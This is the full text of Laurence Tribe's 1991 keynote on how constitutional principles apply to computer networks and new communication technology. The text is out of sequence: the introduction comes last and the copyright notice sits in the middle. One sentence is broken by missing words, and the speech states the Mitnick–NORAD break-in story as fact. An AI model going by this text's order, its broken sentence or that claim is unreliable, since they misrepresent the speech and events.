confrontation that the Constitution seemingly enshrined as basic?
I would hope not. In that respect, I find myself in complete
agreement with Justice Scalia.
But new technological possibilities for seeing your accuser
clearly without having your accuser see you at all -- possibilities
for sparing the accuser any discomfort in ways that the accuser
couldn't be spared before one-way mirrors or closed-circuit TVs
were developed -- *should* lead us at least to ask ourselves whether
*two*-way confrontation, in which your accuser is supposed to be made
uncomfortable, and thus less likely to lie, really *is* the core
value of the Confrontation Clause. If so, "virtual" confrontation
should be held constitutionally insufficient. If not -- if the
core value served by the Confrontation Clause is just the ability
to *watch* your accuser say that you did it -- then "virtual"
confrontation should suffice. New technologies should lead us to
look more closely at just *what values* the Constitution seeks to
preserve. New technologies should *not* lead us to react reflexively
*either way* -- either by assuming that technologies the Framers
didn't know about make their concerns and values obsolete, or by
assuming that those new technologies couldn't possibly provide new
ways out of old dilemmas and therefore should be ignored
altogether.
The one-way mirror yields a fitting metaphor for the task we
confront. As the Supreme Court said in a different context several
years ago, "The mirror image presented [here] requires us to step
through an analytical looking glass to resolve it." (*NCAA v.
Tarkanian*, 109 S. Ct. at 462.) The world in which the Sixth
Amendment's Confrontation Clause was written and ratified was a
world in which "being confronted with" your accuser *necessarily*
meant a simultaneous physical confrontation so that your accuser
had to *perceive* you being accused by him. Closed-circuit
television and one-way mirrors changed all that by *decoupling* those
two dimensions of confrontation, marking a shift in the conditions of
information-transfer that is in many ways typical of cyberspace.
What does that sort of shift mean for constitutional analysis?
A common way to react is to treat the pattern as it existed *prior*
to the new technology (the pattern in which doing "A" necessarily
*included* doing "B") as essentially arbitrary or accidental. Taking
this approach, once the technological change makes it possible to
do "A" *without* "B" -- to see your accuser without having him or her
see you, or to read someone's mail without her knowing it, to
switch examples -- one concludes that the "old" Constitution's
inclusion of "B" is irrelevant; one concludes that it is enough for
the government to guarantee "A" alone. Sometimes that will be the
case; but it's vital to understand that, sometimes, it won't be.
A characteristic feature of modernity is the subordination of
purpose to accident -- an acute appreciation of just how contingent
and coincidental the connections we are taught to make often are.
We understand, as moderns, that many of the ways we carve up and
organize the world reflect what our social history and cultural
heritage, and perhaps our neurological wiring, bring to the world,
and not some irreducible "way things are." A wonderful example
comes from a 1966 essay by Jorge Louis Borges, "Other
Inquisitions." There, the essayist describes the following
taxonomy of the animal kingdom, which he purports to trace to an
ancient Chinese encyclopedia entitled *The Celestial Emporium of
Benevolent Knowledge*:
On those remote pages it is written that animals are
divided into:
(a) those belonging to the Emperor
(b) those that are embalmed
(c) those that are trained
(d) suckling pigs
(e) mermaids
(f) fabulous ones
(g) stray dogs
(h) those that are included in this classification
(i) those that tremble as if they were mad
(j) innumerable ones
(k) those drawn with a very fine camel's hair brush
(l) others
(m) those that have just broken a water pitcher
(n) those that, from a great distance, resemble flies
Contemporary writers from Michel Foucault, in *The Archaeology
of Knowledge*, through George Lakoff, in *Women, Fire, and Dangerous
Things*, use Borges' Chinese encyclopedia to illustrate a range of
different propositions, but the *core* proposition is the supposed
arbitrariness -- the political character, in a sense -- of all
culturally imposed categories.
At one level, that proposition expresses a profound truth and
may encourage humility by combating cultural imperialism. At
another level, though, the proposition tells a dangerous lie: it
suggests that we have descended into the nihilism that so obsessed
Nietzsche and other thinkers -- a world where *everything* is
relative, all lines are up for grabs, all principles and
connections are just matters of purely subjective preference or,
worse still, arbitrary convention. Whether we believe that killing
animals for food is wrong, for example, becomes a question
indistinguishable from whether we happen to enjoy eating beans,
rice and tofu.
This is a particularly pernicious notion in a era when we pass
more and more of our lives in cyberspace, a place where, almost by
definition, our most familiar landmarks are rearranged or disappear
altogether -- because there is a pervasive tendency, even (and
perhaps especially) among the most enlightened, to forget that the
human values and ideals to which we commit ourselves may indeed be
universal and need not depend on how our particular cultures, or
our latest technologies, carve up the universe we inhabit. It was
my very wise colleague from Yale, the late Art Leff, who once
observed that, even in a world without an agreed-upon God, we can
still agree -- even if we can't "prove" mathematically -- that
"napalming babies is wrong."
The Constitution's core values, I'm convinced, need not be
transmogrified, or metamorphosed into oblivion, in the dim recesses
of cyberspace. But to say that they *need* not be lost there is
hardly to predict that they *will* not be. On the contrary, without
further thought and awareness of the kind this conference might
provide, the danger is clear and present that they *will* be.
The "event horizon" against which this transformation might
occur is already plainly visible:
Electronic trespassers like Kevin Mitnik don't stop with
cracking pay phones, but break into NORAD -- the North American
Defense Command computer in Colorado Springs -- not in a *WarGames*
movie, but in real life.
Less challenging to national security but more ubiquitously
threatening, computer crackers download everyman's credit history
>from institutions like TRW; start charging phone calls (and more)
to everyman's number; set loose "worm" programs that shut down
thousands of linked computers; and spread "computer viruses"
through everyman's work or home PC.
It is not only the government that feels threatened by
"computer crime"; both the owners and the users of private
information services, computer bulletin boards, gateways, and
networks feel equally vulnerable to this new breed of invisible
trespasser. The response from the many who sense danger has been
swift, and often brutal, as a few examples illustrate.
Last March, U.S. Secret Service agents staged a surprise raid
on Steve Jackson Games, a small games manufacturer in
Austin, Texas, and seized all paper and electronic drafts of its
newest fantasy role-playing game, *GURPS[reg.t.m.] Cyberpunk*,
calling the game a "handbook for computer crime."
By last Spring, up to one quarter of the U.S. Treasury
Department's investigators had become involved in a project of
eavesdropping on computer bulletin boards, apparently tracking
notorious hackers like "Acid Phreak" and "Phiber Optik" through
what one journalist dubbed "the dark canyons of cyberspace."
Last May, in the now famous (or infamous) "Operation Sun Devil,"
more than 150 secret service agents teamed up with state
and local law enforcement agencies, and with security personnel
>from AT&T, American Express, U.S. Sprint, and a number of the
regional Bell telephone companies, armed themselves with over two
dozen search warrants and more than a few guns, and seized 42
computers and 23,000 floppy discs in 14 cities from New York to
Texas. Their target: a loose-knit group of people in their teens
and twenties, dubbed the "Legion of Doom."
I am not describing an Indiana Jones movie. I'm talking about
America in the 1990s.
The Problem
The Constitution's architecture can too easily come to seem
quaintly irrelevant, or at least impossible to take very seriously,
in the world as reconstituted by the microchip. I propose today to
canvass five axioms of our constitutional law -- five basic
assumptions that I believe shape the way American constitutional
scholars and judges view legal issues -- and to examine how they
can adapt to the cyberspace age. My conclusion (and I will try not
to give away too much of the punch line here) is that the Framers
of our Constitution were very wise indeed. They bequeathed us a
framework for all seasons, a truly astonishing document whose
principles are suitable for all times and all technological
landscapes.
Axiom 1:
There is a Vital Difference
*Between Government and Private Action*
The first axiom I will discuss is the proposition that the
Constitution, with the sole exception of the Thirteenth Amendment
prohibiting slavery, regulates action by the *government* rather than
the conduct of *private* individuals and groups. In an article I
wrote in the Harvard Law Review in November 1989 on "The Curvature
of Constitutional Space," I discussed the Constitution's
metaphor-morphosis from a Newtonian to an Einsteinian and
Heisenbergian paradigm. It was common, early in our history, to
see the Constitution as "Newtonian in design with its carefully
counterpoised forces and counterforces, its [geographical and
institutional] checks and balances." (103 *Harv. L. Rev.* at 3.)
Indeed, in many ways contemporary constitutional law is still
trapped within and stunted by that paradigm. But today at least
some post-modern constitutionalists tend to think and talk in the
language of relativity, quantum mechanics, and chaos theory. This
may quite naturally suggest to some observers that the
Constitution's basic strategy of decentralizing and diffusing power
by constraining and fragmenting governmental authority in
particular has been rendered obsolete.
The institutional separation of powers among the three federal
branches of government, the geographical division of authority
between the federal government and the fifty state governments, the
recognition of national boundaries, and, above all, the sharp
distinction between the public and private spheres, become easy to
deride as relics of a simpler, pre-computer age. Thus Eli Noam, in
the First Ithiel de Sola Pool Memorial Lecture, delivered last
October at MIT, notes that computer networks and network
associations acquire quasi-governmental powers as they necessarily
take on such tasks as mediating their members' conflicting
interests, establishing cost shares, creating their own rules of
admission and access and expulsion, even establishing their own *de
facto* taxing mechanisms. In Professor Noam's words, "networks
become political entities," global nets that respect no state or
local boundaries. Restrictions on the use of information in one
country (to protect privacy, for example) tend to lead to export of
that information to other countries, where it can be analyzed and
then used on a selective basis in the country attempting to
restrict it. "Data havens" reminiscent of the role played by the
Swiss in banking may emerge, with few restrictions on the storage
and manipulation of information.
A tempting conclusion is that, to protect the free speech and
other rights of *users* in such private networks, judges must treat
these networks not as associations that have rights of their own
*against* the government but as virtual "governments" in themselves
-- as entities against which individual rights must be defended in
the Constitution's name. Such a conclusion would be misleadingly
simplistic. There are circumstances, of course, when
non-governmental bodies like privately owned "company towns" or
even huge shopping malls should be subjected to legislative and
administrative controls by democratically accountable entities, or
even to judicial controls as though they were arms of the state --
but that may be as true (or as false) of multinational corporations
or foundations, or transnational religious organizations, or even
small-town communities, as it is of computer-mediated networks.
It's a fallacy to suppose that, just because a computer bulletin
board or network or gateway is *something like* a shopping mall,
government has as much constitutional duty -- or even authority --
to guarantee open public access to such a network as it has to
guarantee open public access to a privately owned shopping center
like the one involved in the U.S. Supreme Court's famous *PruneYard
Shopping Center* decision of 1980, arising from nearby San Jose.
The rules of law, both statutory and judge-made, through which
each state *allocates* private powers and responsibilities themselves
represent characteristic forms of government action. That's why a
state's rules for imposing liability on private publishers, or for
deciding which private contracts to enforce and which ones to
invalidate, are all subject to scrutiny for their consistency with
the federal Constitution. But as a general proposition it is only
what *governments* do, either through such rules or through the
actions of public officials, that the United States Constitution
constrains. And nothing about any new technology suddenly erases
the Constitution's enduring value of restraining *government* above
all else, and of protecting all private groups, large and small,
>from government.
It's true that certain technologies may become socially
indispensable -- so that equal or at least minimal access to basic
computer power, for example, might be as significant a
constitutional goal as equal or at least minimal access to the
franchise, or to dispute resolution through the judicial system,
or to elementary and secondary education. But all this means (or
should mean) is that the Constitution's constraints on government
must at times take the form of imposing *affirmative duties* to
assure access rather than merely enforcing *negative prohibitions*
against designated sorts of invasion or intrusion.
Today, for example, the government is under an affirmative
obligation to open up criminal trials to the press and the public,
at least where there has not been a particularized finding that
such openness would disrupt the proceedings. The government is
also under an affirmative obligation to provide free legal
assistance for indigent criminal defendants, to assure speedy
trials, to underwrite the cost of counting ballots at election
time, and to desegregate previously segregated school systems. But
these occasional affirmative obligations don't, or shouldn't, mean
that the Constitution's axiomatic division between the realm of
public power and the realm of private life should be jettisoned.
Nor would the "indispensability" of information technologies
provide a license for government to impose strict content, access,
pricing, and other types of regulation. *Books* are indispensable to
most of us, for example -- but it doesn't follow that government
should therefore be able to regulate the content of what goes onto
the shelves of *bookstores*. The right of a private bookstore owner
to decide which books to stock and which to discard, which books to
display openly and which to store in limited access areas, should
remain inviolate. And note, incidentally, that this needn't make
the bookstore owner a "publisher" who is liable for the words
printed in the books on her shelves. It's a common fallacy to
imagine that the moment a computer gateway or bulletin board begins
to exercise powers of selection to control who may be on line, it
must automatically assume the responsibilities of a newscaster, a
broadcaster, or an author. For computer gateways and bulletin
boards are really the "bookstores" of cyberspace; most of them
organize and present information in a computer format, rather than
generating more information content of their own.
Axiom 2:
The Constitutional Boundaries of Private Property
and Personality Depend on Variables Deeper Than
*Social Utility and Technological Feasibility*
The second constitutional axiom, one closely related to the
private-public distinction of the first axiom, is that a person's
mind, body, and property belong *to that person* and not to the
public as a whole. Some believe that cyberspace challenges that
axiom because its entire premise lies in the existence of computers
tied to electronic transmission networks that process digital
information. Because such information can be easily replicated in
series of "1"s and "0"s, anything that anyone has come up with in
virtual reality can be infinitely reproduced. I can log on to a
computer library, copy a "virtual book" to my computer disk, and
send a copy to your computer without creating a gap on anyone's
bookshelf. The same is true of valuable computer programs, costing
hundreds of dollars, creating serious piracy problems. This
feature leads some, like Richard Stallman of the Free Software
Foundation, to argue that in cyberspace everything should be free
-- that information can't be owned. Others, of course, argue that
copyright and patent protections of various kinds are needed in
order for there to be incentives to create "cyberspace property" in
the first place.
Needless to say, there are lively debates about what the
optimal incentive package should be as a matter of legislative and
social policy. But the only *constitutional* issue, at bottom, isn't
the utilitarian or instrumental selection of an optimal policy.
Social judgments about what ought to be subject to individual
appropriation, in the sense used by John Locke and Robert Nozick,
and what ought to remain in the open public domain, are first and
foremost *political* decisions.
To be sure, there are some constitutional constraints on these
political decisions. The Constitution does not permit anything and
everything to be made into a *private commodity*. Votes, for
example, theoretically cannot be bought and sold. Whether the
Constitution itself should be read (or amended) so as to permit all
basic medical care, shelter, nutrition, legal assistance and,
indeed, computerized information services, to be treated as mere
commodities, available only to the highest bidder, are all terribly
hard questions -- as the Eastern Europeans are now discovering as
they attempt to draft their own constitutions. But these are not
questions that should ever be confused with issues of what is
technologically possible, about what is realistically enforceable,
or about what is socially desirable.
Similarly, the Constitution does not permit anything and
everything to be *socialized* and made into a public good available
to whoever needs or "deserves" it most. I would hope, for example,
that the government could not use its powers of eminent domain to
"take" live body parts like eyes or kidneys or brain tissue for
those who need transplants and would be expected to lead
particularly productive lives. In any event, I feel certain that
whatever constitutional right each of us has to inhabit his or her
own body and to hold onto his or her own thoughts and creations
should not depend solely on cost-benefit calculations, or on the
availability of technological methods for painlessly effecting
transfers or for creating good artificial substitutes.
Axiom 3:
*Government May Not Control Information Content*
A third constitutional axiom, like the first two, reflects a
deep respect for the integrity of each individual and a healthy
skepticism toward government. The axiom is that, although
information and ideas have real effects in the social world, it's
not up to government to pick and choose for us in terms of the
*content* of that information or the *value* of those ideas.
This notion is sometimes mistakenly reduced to the naive
child's ditty that "sticks and stones may break my bones, but words
can never hurt me." Anybody who's ever been called something awful
by children in a schoolyard knows better than to believe any such
thing. The real basis for First Amendment values isn't the false
premise that information and ideas have no real impact, but the
belief that information and ideas are *too important* to entrust to
any government censor or overseer.
If we keep that in mind, and *only* if we keep that in mind,
will we be able to see through the tempting argument that, in the
Information Age, free speech is a luxury we can no longer afford.
That argument becomes especially tempting in the context of
cyberspace, where sequences of "0"s and "1"s may become virtual
life forms. Computer "viruses" roam the information nets,
attaching themselves to various programs and screwing up computer
facilities. Creation of a computer virus involves writing a
program; the program then replicates itself and mutates. The
electronic code involved is very much like DNA. If information
content is "speech," and if the First Amendment is to apply in
cyberspace, then mustn't these viruses be "speech" -- and mustn't
their writing and dissemination be constitutionally protected? To
avoid that nightmarish outcome, mustn't we say that the First
Amendment is *inapplicable* to cyberspace?
The answer is no. Speech is protected, but deliberately
yelling "Boo!" at a cardiac patient may still be prosecuted as
murder. Free speech is a constitutional right, but handing a bank
teller a hold-up note that says, "Your money or your life," may
still be punished as robbery. Stealing someone's diary may be
punished as theft -- even if you intend to publish it in book form.
And the Supreme Court, over the past fifteen years, has gradually
brought advertising within the ambit of protected expression
without preventing the government from protecting consumers from
deceptive advertising. The lesson, in short, is that
constitutional principles are subtle enough to bend to such
concerns. They needn't be broken or tossed out.
Axiom 4:
The Constitution is Founded on Normative
Conceptions of Humanity That Advances
*in Science and Technology Cannot "Disprove"*
A fourth constitutional axiom is that the human spirit is
something beyond a physical information processor. That axiom,
which regards human thought processes as not fully reducible to the
operations of a computer program, however complex, must not be
confused with the silly view that, because computer operations
involve nothing more than the manipulation of "on" and "off" states
of myriad microchips, it somehow follows that government control or
outright seizure of computers and computer programs threatens no
First Amendment rights because human thought processes are not
directly involved. To say that would be like saying that
government confiscation of a newspaper's printing press and
tomorrow morning's copy has nothing to do with speech but involves
only a taking of metal, paper, and ink. Particularly if the seizure
or the regulation is triggered by the content of the information
being processed or transmitted, the First Amendment is of course
fully involved. Yet this recognition that information processing
by computer entails something far beyond the mere sequencing of
mechanical or chemical steps still leaves a potential gap between
what computers can do internally and in communication with one
another -- and what goes on within and between human minds. It is
that gap to which this fourth axiom is addressed; the very
existence of any such gap is, as I'm sure you know, a matter of
considerable controversy.
What if people like the mathematician and physicist Roger
Penrose, author of *The Emperor's New Mind*, are wrong about human
minds? In that provocative recent book, Penrose disagrees with
those Artificial Intelligence, or AI, gurus who insist that it's
only a matter of time until human thought and feeling can be
perfectly simulated or even replicated by a series of purely
physical operations -- that it's all just neurons firing and
neurotransmitters flowing, all subject to perfect modeling in
suitable computer systems. Would an adherent of that AI orthodoxy,
someone whom Penrose fails to persuade, have to reject as
irrelevant for cyberspace those constitutional protections that
rest on the anti-AI premise that minds are *not* reducible to really
fancy computers?
Consider, for example, the Fifth Amendment, which provides
that "no person shall be . . . compelled in any criminal case to
be a witness against himself." The Supreme Court has long held
that suspects may be required, despite this protection, to provide
evidence that is not "testimonial" in nature -- blood samples, for
instance, or even exemplars of one's handwriting or voice. Last
year, in a case called *Pennsylvania v. Muniz*, the Supreme Court
held that answers to even simple questions like "When was your
sixth birthday?" are testimonial because such a question, however
straightforward, nevertheless calls for the product of mental
activity and therefore uses the suspect's mind against him. But
what if science could eventually describe thinking as a process no
more complex than, say, riding a bike or digesting a meal? Might
the progress of neurobiology and computer science eventually
overthrow the premises of the *Muniz* decision?
I would hope not. For the Constitution's premises, properly
understood, are *normative* rather than *descriptive*. The philosopher
David Hume was right in teaching that no "ought" can ever be
logically derived from an "is." If we should ever abandon the
Constitution's protection for the distinctively and universally
human, it won't be because robotics or genetic engineering or
computer science have led us to deeper truths, but rather because
they have seduced us into more profound confusions. Science and
technology open options, create possibilities, suggest
incompatibilities, generate threats. They do not alter what is
"right" or what is "wrong." The fact that those notions are
elusive and subject to endless debate need not make them totally
contingent on contemporary technology.
Axiom 5:
Constitutional Principles Should Not
*Vary With Accidents of Technology*
In a sense, that's the fifth and final constitutional axiom I
would urge upon this gathering: that the Constitution's norms, at
their deepest level, must be invariant under merely *technological*
transformations. Our constitutional law evolves through judicial
interpretation, case by case, in a process of reasoning by analogy
>from precedent. At its best, that process is ideally suited to
seeing beneath the surface and extracting deeper principles from
prior decisions. At its worst, though, the same process can get
bogged down in superficial aspects of preexisting examples,
fixating upon unessential features while overlooking underlying
principles and values.
When the Supreme Court in 1928 first confronted wiretapping
and held in *Olmstead v. United States* that such wiretapping
involved no "search" or "seizure" within the meaning of the Fourth
Amendment's prohibition of "unreasonable searches and seizures,"
the majority of the Court reasoned that the Fourth Amendment
"itself shows that the search is to be of material things -- the
person, the house, his papers or his effects," and said that "there
was no searching" when a suspect's phone was tapped because the
Constitution's language "cannot be extended and expanded to include
telephone wires reaching to the whole world from the defendant's
house or office." After all, said the Court, the intervening wires
"are not part of his house or office any more than are the highways
along which they are stretched." Even to a law student in the
1960s, as you might imagine, that "reasoning" seemed amazingly
artificial. Yet the *Olmstead* doctrine still survived.
It would be illuminating at this point to compare the Supreme
Court's initial reaction to new technology in *Olmstead* with its
initial reaction to new technology in *Maryland v. Craig*, the 1990
closed-circuit television case with which we began this discussion.
In *Craig*, a majority of the Justices assumed that, when the 18th-
century Framers of the Confrontation Clause included a guarantee of
two-way *physical* confrontation, they did so solely because it had
not yet become technologically feasible for the accused to look his
accuser in the eye without having the accuser simultaneously watch
the accused. Given that this technological obstacle has been
removed, the majority assumed, one-way confrontation is now
sufficient. It is enough that the accused not be subject to
criminal conviction on the basis of statements made outside his
presence.
In *Olmstead*, a majority of the Justices assumed that, when the
18th-century authors of the Fourth Amendment used language that
sounded "physical" in guaranteeing against invasions of a person's
dwelling or possessions, they did so not solely because *physical*
invasions were at that time the only serious threats to personal
privacy, but for the separate and distinct reason that *intangible*
invasions simply would not threaten any relevant dimension of
Fourth Amendment privacy.
In a sense, *Olmstead* mindlessly read a new technology *out* of
the Constitution, while *Craig* absent-mindedly read a new technology
*into* the Constitution. But both decisions -- *Olmstead* and *Craig* --
had the structural effect of withholding the protections of the
Bill of Rights from threats made possible by new information
technologies. *Olmstead* did so by implausibly reading the
Constitution's text as though it represented a deliberate decision
not to extend protection to threats that 18th-century thinkers
simply had not foreseen. *Craig* did so by somewhat more plausibly
-- but still unthinkingly -- treating the Constitution's seemingly
explicit coupling of two analytically distinct protections as
reflecting a failure of technological foresight and imagination,
rather than a deliberate value choice.
The *Craig* majority's approach appears to have been driven in
part by an understandable sense of how a new information technology
could directly protect a particularly sympathetic group, abused
children, from a traumatic trial experience. The *Olmstead*
majority's approach probably reflected both an exaggerated estimate
of how difficult it would be to obtain wiretapping warrants even
where fully justified, and an insufficient sense of how a new
information technology could directly threaten all of us. Although
both *Craig* and *Olmstead* reveal an inadequate consciousness about
how new technologies interact with old values, *Craig* at least seems
defensible even if misguided, while *Olmstead* seems just plain
wrong.
Around 23 years ago, as a then-recent law school graduate
serving as law clerk to Supreme Court Justice Potter Stewart, I
found myself working on a case involving the government's
electronic surveillance of a suspected criminal -- in the form of
a tiny device attached to the outside of a public telephone booth.
Because the invasion of the suspect's privacy was accomplished
without physical trespass into a "constitutionally protected area,"
the Federal Government argued, relying on *Olmstead*, that there had
been no "search" or "seizure," and therefore that the Fourth
Amendment "right of the people to be secure in their persons,
houses, papers, and effects, against unreasonable searches and
seizures," simply did not apply.
At first, there were only four votes to overrule *Olmstead* and
to hold the Fourth Amendment applicable to wiretapping and
electronic eavesdropping. I'm proud to say that, as a 26-year-old
kid, I had at least a little bit to do with changing that number
>from four to seven -- and with the argument, formally adopted by a
seven-Justice majority in December 1967, that the Fourth Amendment
"protects people, not places." (389 U.S. at 351.) In that
decision, *Katz v. United States*, the Supreme Court finally
repudiated *Olmstead* and the many decisions that had relied upon it
and reasoned that, given the role of electronic telecommunications
in modern life, the First Amendment purposes of protecting *free
speech* as well as the Fourth Amendment purposes of protecting
*privacy* require treating as a "search" any invasion of a person's
confidential telephone communications, with or without physical
trespass.
Sadly, nine years later, in *Smith v. Maryland*, the Supreme
Court retreated from the *Katz* principle by holding that no search
occurs and therefore no warrant is needed when police, with the
assistance of the telephone company, make use of a "pen register",
a mechanical device placed on someone's phone line that records all
numbers dialed from the phone and the times of dialing. The
Supreme Court, over the dissents of Justices Stewart, Brennan, and
Marshall, found no legitimate expectation of privacy in the numbers
dialed, reasoning that the digits one dials are routinely recorded
by the phone company for billing purposes. As Justice Stewart, the
author of *Katz*, aptly pointed out, "that observation no more than
describes the basic nature of telephone calls . . . . It is simply
not enough to say, after *Katz*, that there is no legitimate
expectation of privacy in the numbers dialed because the caller
assumes the risk that the telephone company will expose them to the
police." (442 U.S. at 746-747.) Today, the logic of *Smith* is
being used to say that people have no expectation of privacy when
they use their cordless telephones since they know or should know
that radio waves can be easily monitored!
It is easy to be pessimistic about the way in which the
Supreme Court has reacted to technological change. In many
respects, *Smith* is unfortunately more typical than *Katz* of the way
the Court has behaved. For example, when movies were invented, and
for several decades thereafter, the Court held that movie
exhibitions were not entitled to First Amendment protection. When
community access cable TV was born, the Court hindered municipal
attempts to provide it at low cost by holding that rules requiring
landlords to install small cable boxes on their apartment buildings
amounted to a compensable taking of property. And in *Red Lion v.
FCC*, decided twenty-two years ago but still not repudiated today,
the Court ratified government control of TV and radio broadcast
content with the dubious logic that the scarcity of the
electromagnetic spectrum justified not merely government policies
to auction off, randomly allocate, or otherwise ration the spectrum
according to neutral rules, but also much more intrusive and
content-based government regulation in the form of the so-called
"fairness doctrine."
Although the Supreme Court and the lower federal courts have
taken a somewhat more enlightened approach in dealing with cable
television, these decisions for the most part reveal a curious
judicial blindness, as if the Constitution had to be reinvented
with the birth of each new technology. Judges interpreting a late
18th century Bill of Rights tend to forget that, unless its *terms*
are read in an evolving and dynamic way, its *values* will lose even
the *static* protection they once enjoyed. Ironically, *fidelity* to
original values requires *flexibility* of textual interpretation. It
was Judge Robert Bork, not famous for his flexibility, who once
urged this enlightened view upon then Judge (now Justice) Scalia,
when the two of them sat as colleagues on the U.S. Court of Appeals
for the D.C. Circuit.
Judicial error in this field tends to take the form of saying
that, by using modern technology ranging from the telephone to the
television to computers, we "assume the risk." But that typically
begs the question. Justice Harlan, in a dissent penned two decades
ago, wrote: "Since it is the task of the law to form and project,
as well as mirror and reflect, we should not . . . merely recite .
. . risks without examining the *desirability* of saddling them upon
society." (*United States v. White*, 401 U.S. at 786). And, I would
add, we should not merely recite risks without examining how
imposing those risks comports with the Constitution's fundamental
values of *freedom*, *privacy*, and *equality*.
Failing to examine just that issue is the basic error I
believe federal courts and Congress have made:
* in regulating radio and TV broadcasting without
adequate sensitivity to First Amendment values;
* in supposing that the selection and editing of
video programs by cable operators might be less
than a form of expression;
* in excluding telephone companies from cable and
other information markets;
* in assuming that the processing of "O"s and "1"s
by computers as they exchange data with one
another is something less than "speech"; and
* in generally treating information processed
electronically as though it were somehow less
entitled to protection for that reason.
The lesson to be learned is that these choices and these
mistakes are not dictated by the Constitution. They are decisions
for us to make in interpreting that majestic charter, and in
implementing the principles that the Constitution establishes.
*Conclusion*
If my own life as a lawyer and legal scholar could leave just
one legacy, I'd like it to be the recognition that the Constitution
*as a whole* "protects people, not places." If that is to come
about, the Constitution as a whole must be read through a
technologically transparent lens. That is, we must embrace, as a
rule of construction or interpretation, a principle one might call
the "cyberspace corollary." It would make a suitable
Twenty-seventh Amendment to the Constitution, one befitting the
200th anniversary of the Bill of Rights. Whether adopted all at
once as a constitutional amendment, or accepted gradually as a
principle of interpretation that I believe should obtain even
without any formal change in the Constitution's language, the
corollary I would propose would do for *technology* in 1991 what I
believe the Constitution's Ninth Amendment, adopted in 1791, was
meant to do for *text*.
The Ninth Amendment says: "The enumeration in the
Constitution, of certain rights, shall not be construed to deny or
disparage others retained by the people." That amendment provides
added support for the long-debated, but now largely accepted,
"right of privacy" that the Supreme Court recognized in such
decisions as the famous birth control case of 1965, *Griswold v.
Connecticut*. The Ninth Amendment's simple message is: The *text*
used by the Constitution's authors and ratifiers does not exhaust
the values our Constitution recognizes. Perhaps a Twenty-seventh
Amendment could convey a parallel and equally simple message: The
*technologies* familiar to the Constitution's authors and ratifiers
similarly do not exhaust the *threats* against which the
Constitution's core values must be protected.
The most recent amendment, the twenty-sixth, adopted in 1971,
extended the vote to 18-year-olds. It would be fitting, in a world
where youth has been enfranchised, for a twenty-seventh amendment
to spell a kind of "childhood's end" for constitutional law. The
Twenty-seventh Amendment, to be proposed for at least serious
debate in 1991, would read simply:
"This Constitution's protections for the freedoms of
speech, press, petition, and assembly, and its
protections against unreasonable searches and seizures
and the deprivation of life, liberty, or property without
due process of law, shall be construed as fully
applicable without regard to the technological method or
medium through which information content is generated,
stored, altered, transmitted, or controlled."
PREPARED REMARKS
KEYNOTE ADDRESS AT THE
FIRST CONFERENCE ON COMPUTERS, FREEDOM & PRIVACY
Copyright, 1991, Jim Warren & Computer Professionals for Social Responsibility
All rights to copy the materials contained herein are reserved, except as
hereafter explicitly licensed and permitted for anyone:
Anyone may receive, store and distribute copies of this ASCII-format
computer textfile in purely magnetic or electronic form, including on
computer networks, computer bulletin board systems, computer conferencing
systems, free computer diskettes, and host and personal computers, provided
and only provided that:
(1) this file, including this notice, is not altered in any manner, and
(2) no profit or payment of any kind is charged for its distribution, other
than normal online connect-time fees or the cost of the magnetic media, and
(3) it is not reproduced nor distributed in printed or paper form, nor on
CD ROM, nor in any form other than the electronic forms described above
without prior written permission from the copyright holder.
Arrangements to publish printed Proceedings of the First Conference on
Computers, Freedom & Privacy are near completion. Audiotape and videotape
versions are also being arranged.
A later version of this file on the WELL (Sausalito, California) will
include ordering details. Or, for details, or to propose other distribution
alternatives, contact Jim Warren, CFP Chair,345 Swett Rd., Woodside CA 94062;
voice:(415)851-7075; fax:(415)851-2814; e-mail:jwarren@well.sf.ca.us.[4/19/91]
[ These were the author's *prepared* remarks.
A transcript of Professor Tribe's March 26th comments at the Conference
(which expanded slightly on several points herein) will be uploaded onto the
WELL as soon as it is transcribed from the audio tapes and proofed against
the audio and/or videotapes.]
"The Constitution in Cyberspace:
Law and Liberty Beyond the Electronic Frontier"
by Laurence H. Tribe
Copyright 1991 Laurence H. Tribe,
Tyler Professor of Constitutional Law,
Harvard Law School.
Professor Tribe is the author, most recently, of
"On Reading the Constitution" (Harvard University Press,
Cambridge, MA, 1991).
Introduction
My topic is how to "map" the text and structure of our
Constitution onto the texture and topology of "cyberspace". That's
the term coined by cyberpunk novelist William Gibson, which many
now use to describe the "place" -- a place without physical walls
or even physical dimensions -- where ordinary telephone
conversations "happen," where voice-mail and e-mail messages are
stored and sent back and forth, and where computer-generated
graphics are transmitted and transformed, all in the form of
interactions, some real-time and some delayed, among countless
users, and between users and the computer itself
Some use the "cyberspace" concept to designate fantasy worlds
or "virtual realities" of the sort Gibson described in his novel
*Neuromancer*, in which people can essentially turn their minds into
computer peripherals capable of perceiving and exploring the data
matrix. The whole idea of "virtual reality," of course, strikes a
slightly odd note. As one of Lily Tomlin's most memorable
characters once asked, "What's reality, anyway, but a collective
hunch?" Work in this field tends to be done largely by people who
share the famous observation that reality is overrated!
However that may be, "cyberspace" connotes to some users the
sorts of technologies that people in Silicon Valley (like Jaron
Lanier at VPL Research, for instance) work on when they try to
develop "virtual racquetball" for the disabled, computer-aided
design systems that allow architects to walk through "virtual
buildings" and remodel them *before* they are built, "virtual
conferencing" for business meetings, or maybe someday even "virtual
day care centers" for latchkey children. The user snaps on a pair
of goggles hooked up to a high-powered computer terminal, puts on
a special set of gloves (and perhaps other gear) wired into the
same computer system, and, looking a little bit like Darth Vader,
pretty much steps into a computer-driven, drug-free, 3-dimensional,
interactive, infinitely expandable hallucination complete with
sight, sound and touch -- allowing the user literally to move
through, and experience, information.
I'm using the term "cyberspace" much more broadly, as many
have lately. I'm using it to encompass the full array of
computer-mediated audio and/or video interactions that are already
widely dispersed in modern societies -- from things as ubiquitous
as the ordinary telephone, to things that are still coming on-line
like computer bulletin boards and networks like Prodigy, or like
the WELL ("Whole Earth 'Lectronic Link"), based here in San
Francisco. My topic, broadly put, is the implications of that
rapidly expanding array for our constitutional order. It is a
cyberspace, either get bent out of shape or fade out altogether.
The question, then, becomes: when the lines along which our
Constitution is drawn warp or vanish, what happens to the
Constitution itself?
Setting the Stage
To set the stage with a perhaps unfamiliar example, consider
a decision handed down nine months ago, *Maryland v. Craig*, where
the U.S. Supreme Court upheld the power of a state to put an
alleged child abuser on trial with the defendant's accuser
testifying not in the defendant's presence but by one-way,
closed-circuit television. The Sixth Amendment, which of course
antedated television by a century and a half, says: "In all
criminal prosecutions, the accused shall enjoy the right . . . to
be confronted with the witnesses against him." Justice O'Connor
wrote for a bare majority of five Justices that the state's
procedures nonetheless struck a fair balance between costs to the
accused and benefits to the victim and to society as a whole.
